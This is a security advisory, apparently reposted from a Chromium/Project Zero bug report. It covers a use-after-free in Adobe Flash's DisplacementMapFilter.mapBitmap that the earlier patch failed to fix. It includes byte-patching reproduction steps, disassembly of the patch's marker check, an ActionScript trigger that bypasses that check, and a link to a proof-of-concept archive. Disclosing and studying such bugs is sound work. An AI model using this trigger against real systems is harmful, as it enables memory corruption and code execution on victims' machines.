Adobe Flash AS2 – DisplacementMapFilter.mapBitmap Use-After-Free (2)
Source: https://code.google.com/p/google-security-research/issues/detail?id=377&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id [Deadline tracking for https://code.google.com/p/chromium/issues/detail?id=487237] Credit is to bilou, working with the Chromium Vulnerability Reward Program --- There is a use after free in Flash caused by an improper handling of BitmapData objects in the DisplacementMapFilter.mapBitmap property. This is almost a repost of Issue 457680 due to a patch failure. VERSION Chrome Version: N/A now, Flash StandAlone Debug 17.0.0.188 Operating System: [Win7 x64 SP1] REPRODUCTION CASE The AS2 mapBitmap_v2_as2.fla can be compiled with Flash CS5. Some bytes must be changed manually to trigger the issue (see below). Just put mapBitmap_v2_as2.swf in a browsable directory and run the swf with Chrome. It might crash while dereferencing 0x41424344 (hopefully, not tested yet because not available). After compiling mapBitmap_v2_as2.swf, I had to change the bytes at offset 0x92B in the (MyBitmapData constructor): 52 17 96 02 00 04 03 26 to 17 17 17 17 17 17 17 17 (actionPOP) The description is exactly the same as in Issue 457680 so I won't repost it. Here are just my comments on the patch. They basically added a marker at offset +0xDC in the flash standalone debugger (the standalone player is not available at the time of writing): .text:005AD629 loc_5AD629: .text:005AD629 lea ecx, [esi+0DCh] .text:005AD62F push edi .text:005AD630 mov [ebp+1C4h+var_198], ecx .text:005AD633 call xsetUseMarker .text:0059F762 cmp byte ptr [ecx], 0 ; is the marker present? .text:0059F765 jz short loc_59F77B .text:0059F767 cmp [esp+arg_0], 0 ; is 0 provided? .text:0059F76C jz short locret_59F77E .text:0059F76E mov ecx, dword_EE4788 ; kill the program .text:0059F774 call sub_9798C0 .text:0059F779 jmp short locret_59F77E .text:0059F77B .text:0059F77B loc_59F77B: .text:0059F77B mov byte ptr [ecx], 1 ; else set the marker .text:0059F77E .text:0059F77E locret_59F77E: .text:0059F77E retn 4 That marker is then removed when we exit the BitmapData dispatcher: .text:005AEF29 mov eax, [ebp+1C4h+var_198] ; jumptable 005AD654 default case .text:005AEF2C mov byte ptr [eax], 0 So, to trigger again the issue, we just have to put an extra call to getPixel32 for example: var o = new Object() o.valueOf = function () { bd.getPixel32(1,4) // remove the marker :) f() for (var i = 0; i<0x10;i++) { var tf:TextFormat = new TextFormat() tf.tabStops = b a[i] = tf } return 4 } bd.getPixel32(o,4) And we're done :) --- Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37861.zip |